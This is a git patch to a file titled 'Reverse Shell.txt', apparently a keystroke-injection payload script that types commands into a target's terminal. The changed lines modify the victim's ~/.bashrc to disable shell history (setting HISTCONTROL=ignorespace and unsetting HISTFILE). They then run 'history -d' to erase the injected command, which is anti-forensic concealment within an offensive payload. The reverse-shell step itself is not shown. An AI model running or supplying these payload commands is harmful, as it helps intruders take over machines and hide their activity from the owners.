From fdaf40c10c062ea0e4da10c6e07ee40f25df4492 Mon Sep 17 00:00:00 2001 From: Narsty Date: Fri, 23 Jun 2023 20:37:41 -0500 Subject: [PATCH] Update Reverse Shell.txt --- RECON/Reverse Shell.txt | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/RECON/Reverse Shell.txt b/RECON/Reverse Shell.txt index e7b72fb..ba61c3a 100644 --- a/RECON/Reverse Shell.txt +++ b/RECON/Reverse Shell.txt @@ -39,7 +39,13 @@ STRING terminal DELAY 1000 ENTER DELAY 1000 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +DELAY 500 +ENTER +DELAY 500 +STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +DELAY 500 +ENTER DELAY 500 ENTER DELAY 500